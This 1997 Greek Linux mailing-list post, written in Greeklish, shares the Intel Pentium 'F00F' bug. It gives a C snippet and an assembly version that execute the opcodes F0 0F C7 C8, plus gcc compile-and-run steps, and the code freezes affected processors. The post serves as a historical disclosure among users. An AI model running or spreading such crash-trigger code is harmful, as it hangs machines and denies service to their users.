Bug ths Intel ..

Jorge K. keramida at ceid.upatras.gr
Thu Nov 13 17:40:49 EET 1997


Jiannis Mitsos wrote:

> Prox8es mou hr8e ena mail apo mia lista sxetika me ena bug pou exoun OLOI
> oi epe3ergastes ths intel ( MMX kai mh )
>
> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>
>  main ()
>  {
>         void (*f)() = x;
>         f();
>  }

Kai twra mia au0evtikn kai superoptimized ekdosn tou bug-exploit
pou faivetai parapano se raw GNU as(1) assembly code...

@@@ cut here @@@
#
# yaipb.S -- yet another intel pentium bug
#
.text
        .align  4
.globl  main
        .type   main, at function
main:
        .byte   0xF0,0x0F,0xC7,0xC8     # lethal opcodes...
@@@ cut here @@@

to kanete compile me to gvwsto pia:

    > gcc yaipb.S

to trexete me:

    > a.out

kai... as mnv sunexiso katalabainete thn suvexeia monoi sas :(

--
Georgios E. Keramidas (keramida at ceid.upatras.gr)
Finger me for ascii-armored PGP key.

"Optimists think this is the best world we can ever live in.
 Pessimists are afraid that optimists are right..."

--
====================================================================
Gia na mathete pos na xrisimopoiite ton majordomo, stilte e-mail
sto "majordomo at argos.hol.gr" me 1 grammi sto keimeno: help
Ta archives tis listas einai sto http://www.argos.hol.gr/lists
Gia opoiodipote problima stilte  e-mail ston owner-linux-greek-users
====================================================================



More information about the Linux-greek-users mailing list